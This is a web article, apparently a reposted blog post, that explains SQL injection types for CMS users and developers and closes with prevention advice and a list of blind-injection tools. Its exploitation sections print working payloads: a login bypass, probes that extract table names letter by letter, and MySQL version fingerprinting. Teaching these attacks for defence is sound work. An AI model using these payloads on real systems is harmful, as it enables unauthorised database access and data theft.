from http://www.hiveminds.co.uk/node/3104/
But were afraid to ask. If you are a CMS user or web developer then you should know what SQL injection attacks are and how to protect your web applications against them. Hackers are using more SQL based attacks, getting smarter about how to attack a website and using better tools. You have to get a good understanding of how their attacks work if you are going to choose the right software and keep your website secure. Here I will review several types of SQL injection attacks and how they occur. Then take a look at what web developers and end users can do to prevent them.
The Types of Injection
Though they all are based on essentially the same web application security flaw. Each one takes advantage of the security hole in a different manner. They do have different levels of damage they can inflict and they are not the same when it comes to the amount of time and work they take to implement. This is all true is the case of manually trying to hack a website. But since hackers are smart they use "educational" tools to speed up their handy work with automation. There are three forms of SQL injection attack
Redirection and reshaping a query
Based on error messages
Blind injection
Redirection and Query Manipulation
SQL Injection can be as simple as placing additional SQL commands into a web form input box in one of the common areas of a website! SQL injection is a technique for exploiting web applications that use client-supplied data in SQL queries without stripping potentially harmful characters. This is a simple technique that can cause immediate damage to a website or allow the use of a website as an email spam device. The attack designs a script that sends information to a URI or web form on your site whenever they want to send emails via your webservers STMP server. Just think of how nice it is to get an email telling you that someone has recieved hundreds of spam emails from your websites ipaddress. The other type of attack in this category is entering data into a database so that the web pages are changed to send a visitor to another website. They would do this by entering characters so that the web browser would parse them as HTML. The HTML would contain a javascript or meta tag redirection to another website. The simplest technique is to just enter an apostrophe where it is unexpected to stop a web page from loading so that a visitor gets a blank page or a simple text message.
Error message SQL injection attacks
Web applications commonly use SQL queries with client-supplied input in the WHERE clause to retrieve data from a database. When a Web application executes such queries without validating or scanning the user-supplied data to ensure it's not harmful, a SQL injection attack can occur. By sending unexpected data, an attacker can generate and submit SQL queries to a web applications database. A test for SQL injection vulnerabilities takes place by sending the application data that generates an invalid SQL query. If the server returns an error message,that information can be used to try to gain uncontrolled access to the database. This is the basis of one of the most popular SQL injection attacks.
Hiding error messages does not stop the SQL injection attack. What typically happens is the attacker will use the knowledged gained from the failure of this attack to change tactics. What they turn to is blind SQL injection.
What is Blind SQL Injection?
This particular type of attack is called a blind SQL injection attack, because the attacker cannot take advantage of detailed error messages from the server or other sources of information about the application. Getting the SQL syntax right is usually the trickiest part of the blind SQL injection process and may require a lot of trial and error. But, by adding more conditions to the SQL statement and evaluating the Web application's output, an attacker will eventually determine whether the application is vulnerable to SQL injection.
Blind SQL injection a special case that plays on the web developers or website owners sense of security. While they may think that everything on the server is tightly guarded a Blind SQL injection attack will silently be playing truth or consequences with the web server. This type of attack though very time consuming is one that provides the most potentially damaging security hole. This is because an attacker gets not only access but is provided with an enormous amount of knowledge about the database and can potentially gain access to a servers filesystem. This type of attack is one that is automated and requires good amout of setup to succeed. But once it is done it does not require a great deal of effort to repeat.
Detecting Blind SQL Injection Vulnerability
Web applications commonly use SQL queries with user data input in the WHERE clause to retrieve more or different data from a database. By adding additional conditions to the SQL statement and evaluating the web application’s output, you can determine whether or not the application is vulnerable to SQL injection. For instance, many website owners use a CMS that allows access to archived web pages. A URL for accessing such a web page might look like this:
http://www.mywebsite.com/index.php?pageID=5
The SQL statement the web application would use to retrieve the page might look like this (client-supplied input is underlined):
SELECT title, description, createDate, body FROM pages WHERE pageID = 5
The database server responds by returning the data for the fifth page. The web application will then format the page data into an HTML page and send the response to the client. To determine if the web application is vulnerable to blind SQL injection, a script or program will try injecting an extra true condition into the WHERE clause.
http://www.mywebsite.com/index.php ?pageID=5 AND 1=1
If the web application is susceptable the database server will execute the following query:
SELECT title, description, createDate, body FROM pages WHERE pageID = 5 AND 1=1
Then a check is made to see if the added condition still returns the same web page, then the web application is open to SQL injection. Part of the data sent by the user is interpreted as SQL code. A secure application would reject this request because it would treat the user’s input as a value, and the value “5 AND 1=1” would cause a type mismatch error. The server would not display a web page.
Exploiting the Vulnerability
When testing for vulnerability to SQL injection, the injected WHERE condition is completely predictable: 1=1 is always true. But if you attempt to exploit this vulnerability, you would not know whether the injected WHERE condition is true or false before sending it. If a record is returned, the injected phrase must have been true condition. A simple MySQL demo:
Steps to a common vunerability
Test in database adminstration:SELECT * FROM users WHERE userID = 1 AND password = '123';
The code used to execute the SQL:$sql = "SELECT * FROM users WHERE userID = " . $formusr . " AND password = '" . $formpwd . "'";
The injection strings:$formusr = 1 or 1=1 #$formpwd = 1111
The outcome:SELECT * FROM users WHERE userID = 1 or 1=1 #AND password = '1111'
You are now logged into the website and have all the previleges of the first user. In most web applications this is a dangerous situation because the first user is the administrator.
This behavior can be duplicated on any sort of database. An example of SQL Server would be the following request which essentially asks the database server, “Is the current user dbo?”
http://www.mywebsite.com/index.php ?pageID=5 AND USER_NAME() = 'dbo'
USER_NAME() is a Microsoft SQL Server function that returns the name of the current user. If the current user is dbo (administrator), the fifth page will be returned. If not, the query will fail and no page will be displayed. By combining SQL subqueries and built-in database functions, you can ask more complex questions. The following example tries to gather the name of a database table, one character at a time.
http://www.mywebsite.com/index.php ?pageID=5 AND ascii(lower(substring ((SELECTTOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109
The subquery (SELECT) is asking for the name of the first user table in the database (which is typically the first thing to do in SQL injection exploitation). The substring() function will return the first character of the query’s result. The lower() function will simply convert that character to lower case. Finally, the ascii() function will return the ASCII value of this character. If the server returns the fifth page in response to this URL, we know that the first letter of the query’s result comes after the letter “m” (ASCII character 109) in the alphabet. By making multiple requests, we can determine the precise ASCII value.
http://www.mywebsite/index.php?pageID=5 AND ascii(lower(substring ((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
If no page is returned, the ASCII value is greater than 109 but not greater than 116. So, the letter is between “n” (110) and “t” (116).
http://www.mywebsite/index.php?pageID=5 AND ascii(lower(substring ((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 113
Another false statement. We now know that the letter is between 110 and 113.
http://www.mywebsite/index.php?pageID=5 AND ascii(lower(substring ((SELECTTOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 111
False again. The range is narrowed down to two letters: ‘n’ and ‘o’ (110 and 111).http://www.mywebsite/index.php?pageID=5 AND ascii(lower(substring ((SELECTTOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) = 111
The server returns the web page, so the condition is true! The first letter of the query’s result (and the table’s name) is “o.” To retrieve the second letter, repeat the process, but change the second argument in the substring() function so that the next character of the result is extracted: (change underlined)
http://www.mywebsite/index.php?pageID=5 AND ascii(lower(substring ((SELECTTOP 1 name FROM sysobjects WHERE xtype='U'), 2, 1))) > 109
Repeat this process until the entire string is extracted. In this case, the result is “orders.” As you can see, simply disabling the display of database server error messages does not offer sufficient protection against SQL injection attacks. You can also see that such an attack is very time consuming and probably would not be possible without a good deal of automation. When automation is used the chances of becoming a victim of this type of attack increases in untold amounts.
Blind SQL injection just for MySQL
MySQL seems to be most used database on the web and growing so I am going to use it here. I am quite certain that other databases have potential openings in their propietory features. Automated attacks may vary slighty depending on a database propietory handling of certain information. In the example you can see that MySQL allows usage of comments in SQLstatements:
SELECT * FROM table /* foo */
In MySQL, there is a extension to it which allows you to insert MySQL specific code in way:
SELECT /*! SQL_NO_CACHE */ FROM table
Comments shown above are treated as comments in every database except MySQL. MySQL takes a look inside of comments and may change his behavior. For example, this gets executed only if MySQL is version 4.0.0 or higher:
SELECT /*!40000 SQL_NO_CACHE */ FROM table
This can be extremely useful for getting information on the database in use and its version in a blind injection:
http://www.mywebsite/index.php?table=38 - We get normal screenhttp://www.mywebsite/index.php?table=38/*%20s*/ - We get normal screenhttp://www.mywebsite/index.php?table=38/*!%20s*/ - We get a different screen, MySQL is in usehttp://www.mywebsite/index.php?table=38/*!30000%20s*/ - We get a different screen, MySQL is at least 3.x.xhttp://www.mywebsite/index.php?table=38/*!40000%20s*/ - We get a different screen, MySQL is at least 4.x.xhttp://www.mywebsite/index.php?table=38/*!50000%20s*/ - We get normal screen, MySQL is below 5.x.xhttp://www.mywebsite/index.php?table=38/*!40020%20s*/ - We get normal screen, MySQL is below 4.0.20http://www.mywebsite/index.php?table=38/*!40017%20s*/ - We get a different screen, MySQL is at least 4.0.17http://www.mywebsite/index.php?table=38/*!40018%20s*/ - We get normal screen, MySQL is below 4.0.18
You can see that MySQL running on site is 4.0.17.
Solutions
To secure an application against SQL injection web developers should never allow user data to alter the syntax of SQL statements. In fact, the best protection is to isolate the web application from SQL altogether. All SQL statements required by the application should be in stored procedures or stored queries and kept on the database server. If possible the application should execute the stored procedures using a safe interface such as ODBC or ADO Command Object. If arbitrary statements must be used, use stored queries (MS Access). Stored queries and stored procedures parse the SQL statement in a manner that makes it impossible for user data to alter the actual SQL statement. Web developers should also be aware that creating SQL statements on-the-fly makes a particulary difficult time of finding a security flaw. This makes it necessary to have prepared data on hand to make security checks or have end users send in data that they used when finding a security hole. This may not always be possible.
Input Validation
Some programmers may think escaping apostrophe with two apostrophes (and back slash with two back slashes for MySQL) is all input validation has to do. This is completely WRONG! A few important steps are missed and probably the program is still vulnerable to SQL injection.
Here are some of the most important steps to follow when doing input validation:
1. Escape apostrophe with two apostrophes (and back slash with two back slashes for MySQL)2. Make sure numeric fields really look like numbers3. Do step 1" and 2" not only on users' direct input, but on all non-constant variables4. Check if the inputs are within your expectation (e.g. 0 < age < 120, login id without space, etc.)5. prevent the use of SQL power characters in user data with proper encoding.
SQL Injection Power Characters
' or " character String Indicators
-- or # single-line comment
/*…*/ multiple-line comment
+ addition, concatenate (or space in url)
(double pipe) concatenate
% wildcard attribute indicator
?Param1=foo&Param2=bar URL Parameters
PRINT useful as non transactional command
@variable local variable
@@variable global variable
waitfor delay '0:0:10' time delay
Escape inputs properly
Escaping apostrophe with two apostrophes (or back slash with two back slashes for MySQL) usually can be done with one line of code. But you want to make sure that the decoding is done in the correct order. To avoid SQL injection properly, the apostrophe-escaped input should NOT be further en/decoded by any other coding scheme.
Use placeholders
Most scripting languages have a way of describing a SQL statement using placeholders. The markers for a placeholders can be data typed and the input to the placeholders can be validated. This is a good and popular way of stopping SQL injection. If the code is written so that third party developers can take advantage of prepared SQL statement security then use it.
Other methods of prevention
There are many ways you can become open to SQL injection attacks.You can protect your website and your visitors information by choosing or creating web applications that follow these practices:
1. An open source project should have a policy that enforces secure coding practices to ensure vulnerability detection and assessments are performed during any application development or deployment via the projects repository. This is especially important if it is an open source project delivering third party modules or extensions to a core web application. Open source projects should also have a documentation team that can explain in easy language how an application works. This information brings more eyes to potential weaknesses in the applications architecture.
2. End users should ask questions about the web application and its architecture. Try to become familiar with where data enters or exits the web application and ensure that validation occurs for web forms and URL requests. You want to prevent user-supplied data from being able to modify the syntax of SQL statements but you also want to be able to recognize a flaw and report it to the developers of the software. You don't have to be a coder to know that the name O'reilly causes a blank page when you try and post a guestbook entry.
3. Completely isolating a web application from SQL manipulation by using stored procedures used to be a difficult thing. Because the most popular database, MySQL did not have his capability it went ignored. As of MySQL 5 stored procedures is an available feature and now you have one of the stronger reasons for learning how to do them. Stored procedures or stored queries make it impossible for user input to modify the actual SQL statement.
4. If you are a web developer you should consider using a vulnerability assessment tool to automate the discovery of SQL injection and other security vulnerabilities. There are plenty of tools that hackers use available for free. You should pickup one or two and learn how to use them. There is a list of such tools in the resources section of this article.
5. What do you do if you find out that a security hole exists in the web application you are using on your website? Can you shut down your web site? Do you have a plain HTML website as a backup to use while you are fixing the problem? It is good to have a backup plan particularly if you are dependant on your website for income or have sensitive information stored.
Whatever you do don't think that you are immune because your website uses a commercial web application that is used by thousands of others. If anything this makes your web site more of a target.
Resources
SQLBrute - Blind SQL Injection Tool
SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn't require non-standard libraries.
For error based SQL injection, SQLBrute should work, if you can either: Get an identifiable difference between adding the exploit strings AND 1=1 and AND 1=2 to your SQL injection point (usually works if the query is normally valid); Get an identifiable difference between adding the exploit strings OR 1=1 and OR 1=2 to your SQL injection point (usually works if the query is normally invalid)
- http://www.it-observer.com/software_download.php?id=32
bsqlbf 1.1 - Blind SQL Injection Tool
bsqlbf is a tool that combines all the known techniques for SQL injection in a single user interface.
- http://www.514.es/html/2006/04/05
